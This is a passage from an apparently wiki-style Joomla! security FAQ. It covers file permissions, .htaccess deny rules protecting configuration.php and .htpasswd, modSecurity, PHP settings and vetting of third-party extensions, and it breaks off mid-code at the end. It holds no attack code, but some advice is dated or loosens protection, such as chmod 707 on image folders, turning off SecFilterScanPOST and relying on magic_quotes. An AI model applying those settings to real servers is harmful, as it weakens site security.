If your server needed directory permissions to be set to "Other" Writable for the install then this file will probably also need to be 757 or 777. Leaving this file as 757 or 777 is dangerous though, as you are letting everyone have "Write" access, many Web Site exploits take advantage of this fact, so in general it is not recommended to leave this file with these permissions.

If your Web Server has one of the SU tools installed and you only needed to configure 755 on directories for the installation, then you will probably also only need to set 755 or 775 on this file to allow editing through the Admin interface, and these permissions are generally accepted as more secure than 757 or 777.

In conclusion, what permissions should be set for the Joomla! installation? Well, as you can see, it depends!

I know this isn't as helpful as you would have liked and it certainly is not a definitive answer, but in general, after the installation, any insecure "7" settings can be reset back to something more secure. For example:
Files = 644
Directories = 755

These permissions would allow, for files;

644 = rw- r-- r--
Owner has Read and Write
Group has Read only
Other has Read only

and for directories,

755 = rwx r-x r-x
Owner has Read, Write and Execute
Group has Read and Execute only
Other has Read and Execute only

If you have SSH shell access the following commands can be run from the command line to reset all files and directories back to the server defaults of 755 and 644. Change directories to the top directory (" / ") of your Joomla! installation, then run:

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;

If you only have FTP access, this can be a very time consuming job, however, unless you changed more directories during the installation that was requested, you should only need to reset about 10 directories and the ''configuration.php'' file.

Keep in mind that to install any extensions or templates after the actual Joomla! installation you may need to elevate the default permissions again on the appropriate directories just for the installation period, you may then demote them again after the add-on is installed.

If you decide to use ''caching'' the cache directory will need to be ''writable'' by the Web server user to allow it to write its temporary files.

==What are the recommended file and directory permissions?==

Depending on the security configuration of your Web server the recommended default permissions of 755 for directories and 644 for files should be reasonably secure.

==How can I avoid using chmod 0777 to enable installs?==

On a private server with a small, controlled set of users, there is no need to use a chmod 777 to make the Joomla! folders writable in order to perform installs. You can set the server up so that both Apache and FTP have control of site files.

'''Directions'''

# Edit the Apache user.conf file and tell apache to run under the FTP account.
# chmod the entire site to 644 or 744. Apache should be able to run just fine that way.

'''Optional'''

# chgrp the entire web space to the FTP group so that only those with FTP access can write to the server.
# chmod the entire web space to 764 or 664 will be possible giving other users write access as well

==Isn't locating all Joomla! files inside public_html a security risk?==

'''Short answer'''

Potentially, yes. Your site can be secure, but you must be careful and vigilant.

'''Long answer'''

A common security principle is to create various security levels and then grant access at each level only as required. On UNIX servers this is done by setting the user, group, and world permissions on directories and files.

Typically, the most insecure directory on a UNIX server is the one serving Web files, usually called public_html. This is because it is publicly accessible, world-readable, and in the case of a CMS-powered site, possibly even world-writable. That status is the very definition of officially, totally, and utterly insecure.

As long as you want the entire world to view your public_html directory there is no problem. After all, that's exactly what it's designed to do. But if you want to hide anything, the plot thickens. If public_html contains configuration files with secret data, or scripts that write to databases, or scripts that modify other files, or scripts that append to logs, or scripts that store temporary data in caches, or scripts that support file and graphic uploads, or scripts that process form input, or scripts that process financial and personal data, this read-only directory becomes a world-accessible, read-write application.

If there are ANY vulnerabilities in ANY files in the public_html directory, the entire server is potentially vulnerable, and not just your Web site but possibly every Web site on your server. Such vulnerabilities give attackers access to the scripting engines used to run your site. PHP, Perl and other Web scripting languages are powerful and easy to use. If programming vulnerabilities allow an attacker to call arbitrary commands, your entire server could be toast.

One good way to block attackers, is to keep potential vulnerabilities behind a secure fence. For this reason, it is often recommended to only place files that require direct access from the Web in public_html. Other files should be loaded into applications using such functions as include andrequire. To access such files, attackers must first penetrate your server, such as by discovering a root username/password.

'''The incredible lightness of living outside the fence'''

To provide incredibly easy installation, Joomla! follows a different security model. It is possible to perform a complete Joomla! installation using nothing more than a Web browser pointed at the world-readable installation directory. An additional level of security is provided by requiring that you remove this installation directory after completing the install.

Granting a world-accessible installer the ability to write to files outside of public_html would be a huge security hole. Thus, by default every Joomla! file ends up in the world-accessible public_html directory. Not coincidentally, this is also the directory in which an angry planetful of would-be attackers are hoping to find your files.

Currently, most Joomla extensions also have limited support for file locations outside of public_html. This is a legacy of the Joomla! 1.0.x installation model.

'''Joomla! defense'''

Despite it's apparently vulnerable location, Joomla! uses various effective methods for blocking exploits. Chief among them is to add a line of code at the top of any PHP file that requires extra protection. This method is very effective as long as each and every file requiring such protection, has it. One vulnerable file exposes the whole site.

'''The challenge'''

The practice of placing everything in public_html, and then building a little fence inside each file can become an administrative nightmare. One vulnerable file exposes the entire server. This is a glaring example of an allow, then deny security model.

This model requires very careful upgrades, constant log reviews, and proactive plugging of new vulnerabilities as soon as they become known. (Since you have to beat the attackers, you'll be in a hurry, and may inadvertently do something stupid, potentially creating other vulnerabilities.)

During installations and upgrades, you must verify (or trust someone else to verify) every line of code, of every new file, for every known vulnerability. And because scripts can have unintended consequences on each other, you can not forget to test, test, test. Of course this is generally true for all software, but placing the entire application in public_html makes the issue extremely critical.

The recent wave of URL injection attacks against poorly-written third party extensions would have been much less successful if those files had been stored outside of public_html, and thus simply unavailable through URLs. Note that in many cases the actual vulnerabilities could still exist within the files, but being inside the fence (outside of public_html) they would not be exposed to URL injections.

To (Deny, then Allow), or (Allow, then Deny)?

The real problem with the above "all known" qualifier is that it is an allow, then deny model. In other words, we first give everyone access to every file and then deny access to specific files by adding a line of code.

Consider the logic for a password authentication script. We have essentially two choices:
# First allow all access, then deny any username/password combination that DOES NOT match the approved list.
# First deny all access, then allow any username/password combination that DOES match the approved list.

Obviously the second method is better. A passing familiarity with regular expressions shows that the first method is much more difficult to write securely. It fails anew each time a new variation of some attack is developed, and tends to require constant revisions. Over time, such revisions become so complex that the authentication system itself becomes a source of vulnerabilities.

Conceptually, the second method is an example of building a strong fence around your site (deny), and then granting access using a limited and well-defined set of criteria (then allow). If the script fails, the most likely result is that someone who should have access is blocked. That may be highly inconvenient, but it's not usually a security breach.

'''The good news'''

# In Joomla! 1.0.x, some extensions, and the Joomla! framework, give you the option of locating critical directories outside of public_html after you have completed the installation. Whenever possible you should do this.
# Joomla! 1.5 goes far in the right direction. It provides several new constants for specifying the location of particularly sensitive directories, including configuration, administrator, libraries, and installation.
# Joomla! 1.5 is able to run as an FTP account. This provides another method for protecting files on a file by file and directory by directory basis.

==How do I adjust Joomla 1.5 defines [[Image:Compat_15.png]]==

There are two defines files that will generally need to be edited. /includes/defines.php file is for the front end and /administrator/includes/defines.php is for the Joomla administrator end. Below is the relevant code.

define( 'JPATH_ROOT' , implode( DS, $parts ) );
define( 'JPATH_SITE' , JPATH_ROOT );
define( 'JPATH_CONFIGURATION', JPATH_ROOT );
define( 'JPATH_ADMINISTRATOR', JPATH_ROOT . DS . 'administrator' );
define( 'JPATH_LIBRARIES' , JPATH_ROOT . DS . 'libraries' );
define( 'JPATH_INSTALLATION' , JPATH_ROOT . DS . 'installation' );

.DS. = Directory Seperator

==Moving sensitive files outside the web root==
{{:Moving sensitive files outside the web root}}

==How do I block direct access to critical files using .htaccess?==
# Make a backup copy of your .htaccess file. Use your backup file to recover if the following fails. Be sure to delete the backup file once you are finished.
# Add the following to your .htaccess file. This example will protect both the configurtation.php and .htaccess files.

<Files .htaccess>
order allow,deny
deny from all
</Files>

<FilesMatch "configuration.php">
Order allow,deny
Deny from all
</FilesMatch>

You can also protect a lot of file extensions in one single rule. Exemple (the file names between ' '''(''' ' and ' ''')''' ' in this rule are the file extensions to protect ):

<FilesMatch "\.(htaccess|htpasswd|ini|phps|log|sh|conf)$">
Order allow,deny
Deny from all
</FilesMatch>

==How do I recursively adjust file and directory permissions?==

'''Using Joomla! Administration'''

In the Back-end, go to Site --> Global Configuration --> Server.

'''Using the UNIX shell'''

'''Note:''' The find command automatically assumes that it should start from the current directory. To be safe, go to your public_html directory and specify a path as the first argument. Some shells, such as bash on Apple OS X, must have a path specified in the find command.

find . -type f -exec chmod 644 {} \;
find . -type d -exec chmod 755 {} \;
chmod 707 images
chmod 707 images/stories
chown apache:apache cache

'''Notes:'''
# Test all third party extensions after changing permissions.
# You may need to reset write permissions to install more extensions.

==How can I set the administrator directory to use an SSL server (https)? {{JVer|1.0}}==

Use Joomla version 1.5 or newer

A standard Joomla! 1.0.x installation does not support SSL for individual directories, however there are various (elegant and not so elegant) hacks posted in the forums.

Note that earlier techniques involving the variable $mosConfig_live_site are depreciated, and will not work with current Joomla! versions due to increased security enhancements.

'''More Help'''
# [http://www.netshinesoftware.com/security/using-an-ssl-certificate-with-your-joomla-website.html Netshine Software, Ltd: Using an SSL Certificate with your Joomla Website]

==Why isn't restricting access by IP recommended?==

Restricting site access by IP address is not particularly effective longterm as many exploits are enacted from hijacked machines or via proxies, masking the real attacker's actual IP Address. Attackers can attack from many different compromised machines. Blocking them will block the legitimate owners of that IP, but may not block the attackers.

= Joomla! Extensions =

==Why are there vulnerable extensions?==

A list of currently known [http://docs.joomla.org/Vulnerable_Extensions_List vulnerable extensions].

: Anyone may write and distribute a Joomla! extension. As a service to the global community, this freedom is actively encouraged and supported by the Joomla! Core team. Due to the openness and popularity of the Joomla! project, there are a wide variety of extensions offering a vast array of features. The quality and breadth of Joomla! extensions is one of the main advantages of Joomla.

: However this freedom comes with a price. It requires individual responsibility, and can survive only where a majority of participants act responsibly. Joomla's success has led to unwanted attention from malicious types, such as script kiddies who run simple, automated scripts in an effort to find and deface others' Web sites.

: It is important to note that, script kiddies unintentionally perform a valuable service. They help us identify vulnerable extensions and poorly configured servers that might otherwise remain open to more serious threats.

==What is a vulnerable extension?==

A vulnerable extension is one that has been found to contain (or contribute to) a security vulnerability.

Vulnerable extensions are not necessarily poorly-coded. As the Web evolves, technical requirements and commonly accepted coding practices change. Active projects release new versions of their extensions as requirements change. For this reason, it is important to:

# Know the version numbers of all installed extensions.
# Use only the latest stable version of all extensions.
# Completely remove all files of insecure or unused extensions.

==How do I choose secure extensions?==

: The most important thing anyone can do is make good decisions regarding the extensions they choose to use on a site. Once an insecure or malicious extension is installed you should consider your entire site compromised. There is NO POSSIBLE WAY to protect or stop a component from accessing database tables it should not be accessing. There is no possible way to stop a component from sending all of the information it found back to a cracker website. Once an insecure or malicious component is installed, your entire site is insecure.

: With all of that said, here are some pretty easy tips for making good choices regarding the extensions you install:

1. When was the last version released?

: If it has been over a year, consider the project abandoned and find something else. Do not install old components.

2. What kind of release is it? (Stable, Release Candidate (RC), Beta, Alpha)

: For production sites you should be sticking to Stable releases as much as possible. If you cannot wait until a Stable release has been made available, Release Candidates are the only other option you should consider. I would not suggest anyone install any Beta or Alpha extensions on a production site. This means they still have bugs, they have not been tested enough, and could have any number of inconvenient bugs or security issues that have not been fixed or worse, found.

3. Does the extension have a history of good security practices?

: This is obviously a bit more subjective but it is still a very valid gauge of future trustworthiness. It requires a bit of investigation and research. Look around their download pages and archives, are there many security release or patches? Are there a lot of reports of cracking activity through this extension? Are the developers experienced and security conscious? What do other community members think of this extension? One example that comes to mind that has little to do with Joomla itself (which makes it a fair example) is phpBB. This script has had more security issues than I could get my head around and there routinely seems to be newly disclosed issues. Because of this, I would never use phpBB. In my opinion its is not trustworthy and there is a high probability that there will be more major security issues.

4. Is there a support community for this extension?

: This is very important for usability and security awareness. If there is a support community for an extension there is a better chance of security issues being known and dealt with. A support community means that people would like to continue using the extension and that they care about the extension. This furthers the chance that security issues will be found, disclosed, and dealt with promptly.

5. Is there only a Mambo version of this extension?

: While this does not in itself make an extension insecure but is rather a gauge of support, how recently the last realease was, and future support. There is a pretty narrow chance that Mambo components will be supported in 1.5 so save yourself the trouble and find a component made to work with Joomla. It will make your life easier.

6. Is the extension generally bug free?

: I hinted on this a little bit in number three but I think it is worth discussing in more depth. While it is almost impossible for an extension to be completely bug free, the smaller the number of bugs, the better. If there are bugs in the software it means there are mistakes in the software. The more mistakes, the higher risk of usability issues and security issues. Security issues are often a result of not one bug, but several bugs or bad practices. For example, the recent 3rd party vulnerabilities that allow for remote file inclusion are a result of:

'''Bad Practices:'''

# Having PHP's Register Globals enabled.
# Using out of date or abandoned extension.
# No other security checks enabled for PHP. (url_fopen off, open_basedir restrictions, disabled PHP functions)
# Poorly configured file permissions.
# No request filtering or software "firewall". (such as mod_rewrite rules or mod_security Apache modules)

'''Bugs:'''

# Not including defined('_VALID_MOS') or die... statements
# Poorly constructed include() statements.

'''Although the Joomla! core is secure when configured correctly, third party extensions come in all flavors of age and quality. Unless you absolutely trust the extension developer, always review the code should before installing. The following is a list of typical areas of concern.'''

1. How complex is the extension?

: The larger it is, the more likely it is to have problems, and the more carefully you should review it. If you can't tell what it's doing, you should not trust it.

2. Does the extension read or write files to your server?

: Programs that read files may inadvertently violate access restrictions you've set up, or pass sensitive system information to crackers. Programs that write files have the potential to modify or damage existing files, or introduce trojan horses.

3. Does the extension interact with other programs on your system?

: For example, many extensions send e-mail in response to a form input by opening a connection with the sendmail program. Is it doing this in a safe way?

4. Does the extension run with suid (set-user-id) privileges?

: In general this is very dangerous; extensions need an excellent reasons for doing this.

5. Does the extension validate all user input, such as in form fields and in the URL?

6. Does the extension use explicit path names when invoking external programs?

: Relying on the PATH environment variable to resolve partial path names is a dangerous practice.

7. Is the extension secure against direct access throught the URL?

: For example: www.yoursite.com/components/com_bad_extension.php?lots_of_bad_code_here

8. Is the extension secure against remote file inclusions?

9. Is the extension secure against SQL injections?

10. Is the extension secure against Cross Site Scripting (XSS)?

11. Does the extension need PHP register_globals ON, or Joomla! RG Emulation ON?

: If so, then it is probably violating number 7 above.

12. Does the extension provide higher database access to less privileged users?

: For example does it allow guests or registered users to view data that only publishers or administrators should be able to see?

==Why does the Extensions site include insecure extensions?==
'''
Overview'''

The Joomla! Extensions site exists as a free service to the community. Anyone can post extensions there and extensions exist at all levels of quality and maturity.

If an extension is found to contain vulnerabilities, it will be removed from the site until a safer version is released, but there is no guarantee that the vulnerabilities of every extension have been discovered or reported.

To be safe, you must verify the security of every extension you install.

Below is the text of the Joomla! Extensions site disclaimer. Ignore it at your peril.

'''Disclaimer'''

: The extensions and reviews listed in this area have been submitted by the community and their listing does not constitute or imply endorsement, recommendation, or favouring by Joomla!/OSM.

: This content is provided as a free service to our visitors, and, as such, Joomla!/OSM cannot be held liable for the accuracy of the information. Visitors wishing to verify that the information is correct should contact the parties responsible for authoring the content and/or development of the extension.

==Why is there a warning in the extensions install screen?==

It's just a warning! You are of course free to install any extension you want onto your own site, but remember that '''YOU''' are responsible for the safety of your site and the quality of the applications you install.

The vast majority of reported Joomla! vulnerabilities are through poorly-written or obsolete versions of third party extensions that should not have been left on the server. Therefore, before installing anything carefully evaluate the quality of the extension's code.

The [[Vulnerable Extensions List]] is a valuable source of information on what '''NOT''' to install.

==Why isn't un-publishing a vulnerable extension enough to protect my site?==

'''Overview'''

: Simply removing the menu links to an extension, or unpublishing a module is NOT enough to protect your site! As long as the extension's files exist on your server, you are vulnerable. Note how in the following examples an attacker can bypass the Joomla! index file to directly target any file, of any extension.

www.your_site.org/components/com_bad_component/vulnerable_file.php
www.your_site.org/modules/mod_bad_module/vulnerable_file.php

'''Directions for removing a vulnerable extension'''

1. Make a list of files to remove

: If you can locate it, read the extension's xml file to determine exactly which directories, files, and database tables were added to your system. The xml file is in the original zip archive used during the extension install process. For example, the zip archive for an extension called mod_vulnerable, would contain an xml file called, mod_vulnerable.xml, and might contain a list of files such as the following:

mod_vulnerable.php
mod_vulnerable/vulnerable_file.txt
mod_vulnerable/another_vulnerable_file.txt
mod_vulnerable/yet_another_vulnerable_file.txt
mod_vulnerable/index.html

2. Uninstall via the Joomla Installer:

: Using the Installer in the Joomla! Administrator backend, uninstall the vulnerable extension. You may also need to uninstall related modules, components, or plugins.

3. Check that the uninstall process was complete:

: Don't trust the extension to safely remove all of it's files. Compare directories and files on your system to the extension's xml list to ensure that all related files were actually removed.

4. Optionally, remove related database tables:

: Check your database and remove any tables created by the extension. To ease the upgrade process to new versions, many uninstall scripts do not remove related database tables. You can find the list of tables in each extension's xml file. (If you plan on installing a safer, compatible version of the same extension and you want to reuse existing data, you can usually leave the database tables as they are.)

= Apache =
'''Covers information on Apache Web server, Apache modules, .htaccess files, etc.'''

==What is Apache modSecurity?==

'''Overview'''

ModSecurity is an Apache module that functions as an embeddable web application firewall. It provides protection from a range of attacks against web applications and allows for HTTP traffic monitoring and real-time analysis with no changes to existing infrastructure. It is also an open source project that aims to make web application firewall technology available to everyone.

When configuring ModSecurity, it is important to know that it is not only the Joomla! application that may require unique rules, but also the data that the application processes.

Quality hosting providers customize mod_security rules to suit each customer.

If you have a conflict between Joomla and ModSecurity, it is often third party components, and sometimes even contact form submissions that trigger the problem. Joomla out of the box ''usually'' works with typical ModSecurity settings, but this is dependent on each hosting provider's unique configuration.

Overall, mod_security is a excellent tool, but this is really something your host should manage.

One specific error is the failure of file uploads, this is often caused by SecFilterScanPOST being enabled. If you get an internal server error while using the flash upload in the Media Manager this is a good place to start. You can disable this setting by adding '''SecFilterScanPOST Off''' to your .htaccess file.

ModSecurity configurations are far too varied and complex to describe here. To learn more, see the following resources:

'''Resources'''

# [http://www.modsecurity.org/ Official ModSecurity Site]
# [http://www.modsecurity.org/projects/modsecurity/apache/index.html ModSecurity and Apache]

== How do I block directory scans using .htaccess? ==

'''Directions'''

Add one of the following Apache rewrite rules to your .htaccess file. The first example will internally rewrite all attempts to access files with names starting with "phpMyAdmin" to index.php. Be wary of using this as it allows a seemingly valid duplicate URL for your homepage. The second rule is more safe. It simply returns a 403 response.

'''Sample Apache Rewrite Rule'''

RewriteRule ^phpMyAdmin /index.php [L]
RewriteRule ^phpMyAdmin - [F]

'''Some Regular Expression Tips'''

^ Means start of pattern
. Means any character other than newlines
+ Means one or more of the previous character
* Means zero or more of the previous character
$ Means end of pattern
\. Literal periods must be escaped with a leading \

==How can I change PHP settings using .htaccess? ==

'''Introduction'''

This FAQ explains how to set boolean PHP configuration directives using php_flag. The format for php_flag is: php_flag name on|off

'''Directions'''

1. Open the .htaccess file located in your site's home directory, or if you don't have one, create a blank one now. Note the period character (.) at the beginning of the file name.

2. Add any of the following code samples to your .htaccess file, each on it's own line. These sample commands will prevent common global variable injection attacks, cross site scripting (XSS) sttacks, and code injection attacks.

php_flag register_globals off

php_flag allow_url_fopen off

php_flag magic_quotes_gpc on

''Note that although the magic_quotes_gpc directive adds a layer of security, for performance reasons it is not considered a best practice. If you have verified that your site correctly filters and validates all user data (and every production site really should), then there is no need to add this directive. If you have any doubt, add it.''

3. Save the .htaccess file in your site's home directory.

4. Test your site's front end and back end.

==How does FastCGI effect Joomla?==

When PHP runs from FastCGI, your server runs the PHP interpreter like an Apache module, but with the rights of your user account. Usually, the PHP interpreter is either running as the user of the webserver (which is fast, but insecure, since everyone's scripts run with the same rights), or as a CGI program, which is slow. Thus, FastCGI is a good solution for shared hosting.

Since the PHP interpreter runs as a single instance, it does (AFAIK) not parse the .htaccess or php.ini files per directory. To change php.ini settings, your host must offer you a method to set up or modify your own php.ini, or at least parts of it. Here is how one of host does this: it parses one php.ini file (which the user can modify) once an hour, and puts some well-defined settings into the web server's main php.ini file. Thus, users are able to change some settings for their site only, such as turning register_globals off, switching between PHP4 and PHP5.

If your server uses FastCGI, you can ask them to enable a method such as the above example, or you may be able to ask them adjust some settings for you.

==How can I check if mod_rewrite is enabled?==

Many problems with search engine optimization (SEO) arise from the fact that a host has not enabled mod_rewrite on the server.

1. Enable SEO in your administrator! (administrator > SEO > Enable > Save)

2. Rename your htaccess.txt to .htaccess, or use your existing .htaccess file.

3. Place ONLY the following lines in your .htaccess file in the domain root folder.

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^joomla\.html http://www.joomla.org/ [R=301,L]</source>

4. Point your browser to: http://www.example.com/joomla.html

(Replace 'example.com' with your site's actual URL.)

5. If you are redirected to www.joomla.org, mod_rewrite is working. If you get an error, mod_rewrite is not working.

6. Note: if your site is located in a folder, for example "test" you will need to modify the .htaccess file as follows:

<source lang="apache"> Options +FollowSymLinks
RewriteEngine On
RewriteRule ^test/joomla\.html http://www.joomla.org/ [R=301,L]</source>

== How do I switch to PHP5 using .htaccess? ==

'''Overview'''

Many shared server environments currently run .php scripts using the PHP4 interpreter and .php5 code using the PHP5 interpreter. Rather than changing all your file extensions, and perhaps breaking many links, use a .htaccess file to dynamically map one extension to the other.

'''IMPORTANT CAVEAT:''' One common reason for doing this is that hosts leave PHP4 configured with register_globals ON in order to support legacy code while offering PHP5 with register_globals OFF. If you are on a shared server at a host that has configured register_globals ON server wide, you should be very worried!

Turning register globals OFF via a local php.ini or a .htaccess file will NOT offer you any extra protection. Another exploited account on your server can simple hack yours. For server security, and since php 4.2, register globals is OFF server wide by default (php default). Any host overriding this is inviting trouble. If you need register globals ON for a specific site, simple use a .htaccess file for that specific directory, and server wide security will not be compromised. Of course, if you do this be sure all effected scripts fully sanitize input data.

'''Requirements'''

1. Your Apache server must be configured to use .htaccess files. If not, you may be able to request this from your host.
2. Your Apache configuration must allow the following setting. If not, you may be able to request this from your host.
3. Your host must have configured the .php and .php5 file extensions as described above. If not, they may possibly have chosen other extensions. Check with your host.

'''Directions'''

1. Check to be sure your site is configured to use .htaccess files.

2. Make a backup of the .htaccess file in your root public_http directory. If you don't have a .htaccess file at this location, create one now.

3. There are various ways to set the comman, depending on your server configuration. One of the following will probably work. Add ONE the following lines at the end of your .htaccess file. If unsure which to use, check with your hosting provider on which version works best for your configuration.

AddType x-mapp-php5 .php
AddHandler application/x-httpd-php5 .php
AddHandler cgi-php5 .php

4. Carefully test.

5. Delete the backup .htaccess file. Don't leave backups of .htaccess files in public directories.

==How do I password protect directories using .htaccess?==

'''Overview'''

This FAQ explains how to protect the Joomla! /administrator/ directory on Apache servers using the htpasswd utility. You can easily adapt these instructions to protect other directories. If you need help finding or creating your .htaccess file, start here.

'''Caveat (From Apache.org)'''

Basic authentication should not be considered secure for any particularly rigorous definition of secure.
Although the password is stored on the server in encrypted format, it is passed from the client to the server in plain text across the network. Anyone listening with any variety of packet sniffer will be able to read the username and password in the clear as it goes across.

Not only that, but remember that the username and password are passed with every request, not just when the user first types them in. So the packet sniffer need not be listening at a particularly strategic time, but just for long enough to see any single request come across the wire.

And, in addition to that, the content itself is also going across the network in the clear, and so if the web site contains sensitive information, the same packet sniffer would have access to that information as it went past, even if the username and password were not used to gain direct access to the web site.

Don't use basic authentication for anything that requires real security. It is a detriment for most users, since very few people will take the trouble, or have the necessary software and/or equipment, to find out passwords. However, if someone had a desire to get in, it would take very little for them to do so.

Basic authentication across an SSL connection, however, will be secure, since everything is going to be encrypted, including the username and password.

'''Directions'''

1. If you are unfamiliar with the Apache htpasswd utility, you may want to read the following link first.
Apache Authentication, Authorization, and Access Control

2. Check to be sure your site is configured to use .htaccess files. If not sure, ask your host.

3. Decide where to put your .htaccess file. Because Apache recursively searches all directories in a path for .htaccess files, the higher in your directory structure you place this file, the more directories it will control. If there is already an .htaccess file in the directory you choose, it's probably best to add the new code to it.

4. Decide where to store your.htpasswd and .htgroups files. These files should NEVER be publicly accessable through the Web. Below is an example directory structure showing good locations for each file. Note that the /auth/ directory in this example is NOT accessible from the Web.

/home/mysite/public_html/.htaccess
/home/mysite/auth/.htpasswd/
/home/mysite/auth/.htgroups/

5. Create the .htpasswd and .htgroups files as explained in the official Apache HowTo, referenced above. (Since you've read the always current and official documentation at Apache.org, we'll spare you the trouble of displaying it again here.)

6. If a .htaccess file already exists in the directory you have chosen, make a backup copy. If the file does not exist, create a new file with that name now. (Don't forget the dot at the beginning of the name.)

7. Add the following code to the .htaccess file. Adjust the example paths (marked in red) as needed for your server. Adjust the group name that you created in step 5 if it differs from the below example.

AuthUserFile /home/auth/.htpasswd
AuthGroupFile /home/auth/.htgroups
AuthType Basic
AuthName "LWS"
require group admins

8. Test carefully.

9. Remove all backup .htaccess files from public_http directories.

10. If you can not use the Apache htpasswd utility, here's a free, online script that creates the necessary files for you. You'll need to know the user name, password, and path. The script does the rest for you. Note that for more advanced configuration, such as the use of groups, you'll need to edit the resulting files.

'''.htaccess Generator:''' http://www.webmaster-toolkit.com/htaccess-generator.shtml

== How do I restrict directory access by IP address using .htaccess? ==

'''Overview'''

This can be a very effective way to protect your Joomla! administrator directory. Any other directory in public_html can be protected in the same way. This method only works if you have a static IP address assigned to you. Anyone attempting to browse such directories using a different IP Address will get a 403 Forbidden error.

'''Directions'''
# In the directory you wish to protect, open (or create) a file called, .htaccess. (Note the dot at the beginning of the file name.)
# Add the following code to this file, replacing 100.100.100.100 in this example with the static IP address you plan to allow:

Order Deny,Allow
Deny from all
Allow from 100.100.100.100

* Optional: You can enter partial IP Addresses, such as, 100.100.100. This allows access to a range of addresses.

* Optional: You can add multiple addresses by separating them with comma's.

100.100.100.101, 100.100.100.102

==How do I convert an htaccess.txt file into a .htaccess file?==

'''Introduction'''

When using PHP as an Apache module, you can change the configuration settings using directives in Apache configuration files (e.g. httpd.conf and .htaccess files). You will need "AllowOverride Options" or "AllowOverride All" privileges to do so. If you control your own Apache configuration, you can and should use httpd.conf. If you do not control your Apache configuration (such as on a shared server), you must use .htaccess files.

'''Directions'''

# First look for the file, htaccess.txt in your root directory. It should have been installed during the Joomla! installation. (Note that this file name does not begin with a dot.) Open and carefully read htaccess.txt. It contains important suggestions on how to protect your site.
# Make any adjustments to this file as appropriate for your site, and then save it in your site's home directory as, .htaccess (including the dot).
# Test your site's front end and back end. If it produces errors, rename the file back to htaccess.txt, and troubleshoot your edits. If you are unable to get this working, you may have to leave the file named htaccess.txt.
# Use phpinfo() to ensure that all configurations set as you intended. Note: Web-accessible files that include phpinfo() are potential security risks they offer attackers lots of useful information about your server. Always remove such files after use.

'''More Information'''

* [http://us2.php.net/configuration.changes Official PHP Manual: How to change configuration settings]
* [http://us2.php.net/manual/en/ini.php#ini.list Official PHP Manual: List of PHP INI directives]

== How do I block direct hot linking to image files using .htaccess? ==

'''Caveats'''

# Your server must allow .htaccess files for this technique to work.
# If you do not have a .htaccess file in your root directory, see the related FAQ first.
# Do not use this method to redirect image hot links to HTML pages or to servers that are not your own.
# Hot linked images can only be replaced by other images, not with HTML pages.
# As with any .htaccess rewrite, you may block legitimate traffic, such as users behind proxies or firewalls.

'''Directions'''

# Create a jpeg image called no_hot_link.jpe. Note that the odd file extention (.jpe) is intentional and important. Place this file in your images directory.
# Place the following code in the .htaccess file of your root directory.

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} !^http://([^.]+\.)*your_site\.com/ [NC]
RewriteCond %{HTTP_REFERER} !^$
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/no_hot_link.jpe [L]</source>

'''Explanation'''

The first line begins the Apache rewrite rule. The second line matches any requests from your own site, here called your_site.com url. The [NC] flag means "aNy Case", which means, match any and all upper and lower case characters. The third line allows empty referrals such as when a user is behind a caching proxy. The last line matches any files ending with the extension jpeg, jpg, gif, bmp, or png. This is then replaced by the no_hot_link.jpe file in your images directory. This JPEG file uses the extension jpe instead of jpg to prevent these rules from blocking your replacement image.

'''Block hot linking from specific domains'''

To stop hotlinking from specific domains only, such as myspace.com, blogspot.com and livejournal.com, while allowing other web sites to hotlink to your images, use the following code:

<source lang="apache"> RewriteEngine On
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*myspace\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*blogspot\.com/ [NC,OR]
RewriteCond %{HTTP_REFERER} ^http://([^.]+\.)*livejournal\.com/ [NC]
RewriteRule \.(jpe?g|gif|bmp|png)$ /images/nohotlink.jpe [L]</source>

You can add as many different domains as you want. Every RewriteCond line except the last one should end with the [NC,OR] flags. NC means to ignore case. OR means "Or Next", as in, match this line OR the next line. The last RewriteCond omits the OR flag to stop matching after the last RewriteCond.

'''Display a 403 forbidden code'''

Alternatively, you can display a 403 Forbidden error code. Replace the last line of the previous examples with this line:

RewriteRule \.(jpe?g|gif|bmp|png)$ - [F]

= PHP =

== Why is Joomla! written in PHP? ==

: Might as well get it from the horse's mouth. In [http://www.oracle.com/technology/pub/articles/php_experts/rasmus_php.html Do you PHP?], Rasmus Lerdorf, the originator of PHP, sums up how and why PHP developed as it did.

: ''"What it all boils down to is that PHP was never meant to win any beauty contests. It wasn't designed to introduce any new revolutionary programming paradigms. It was designed to solve a single problem: the Web problem. That problem can get quite ugly, and sometimes you need an ugly tool to solve your ugly problem. Although a pretty tool may, in fact, be able to solve the problem as well, chances are that an ugly PHP solution can be implemented much quicker and with many fewer resources. That generally sums up PHP's stubborness."''

== What is the latest stable release of PHP? ==

Check the [http://www.php.net/downloads.php official PHP download page] for information on the latest PHP release.

== How do I tune for speed with PHP5 and MySQL5? ==

: This is just a point by point summary of how I've been tuning and tweaking our Joomla sites to get them running as quickly as possible. For reference, we run all our sites off a Rackspace dedicated server, with 1Gb RAM, a 2Ghz dual core Athlon, running Apache 2.0.x (current revision), PHP 5.0.x (current revision) and MySQL 5.0.18.

: These are listed in terms of apparent speed increase - that is, not the sheer speed for the full page, but the speed before the page is usable to view content, even if not all features are loaded.

# PHP caching. I had been running eAccelerator, but switched to APC today, and it has made the system even faster than before, and eAccelerator was a big boost over uncached PHP. Joomla is a big complex system, so using precompiled code is a big time saver. I use a 128Mb in-memory cache, which is plenty for our needs.
# MySQL Query Caching. This one will vary depending on how dynamic your site is, and you can really kill the benefits by using the wrong extensions (any date/time based will need checking), but if you are serving pretty much the same queries each page load, it will drop the load times noticably.
# Template Image optimisation - template images really slow down the initial page load for first time visitors, so optimising the hell out of them makes sense. Remember that your template is probably not going to change as often as your story content, so you can afford to spend more time on optimising the images for it that you would otherwise. I recommend Irfanview, with the pngout plugin active for PNG images, and it isn't bad for JPG and GIF images either. Don't forget to ramp up the compression level of PNGs, and, if possible, reducing them to indexed pallettes.
# CSS compression. Easy one this - put a little script to output a gzipped version of your CSS file(s) and point your index.php at it. Example script below - I didn't write it, but it's short, to the point, and works.

ob_start ("ob_gzhandler");
header("Content-type: text/css");
header("Cache-Control: must-revalidate");
$offset = 60 * 60 ;
$ExpStr = "Expires: " .
gmdate("D, d M Y H:i:s",
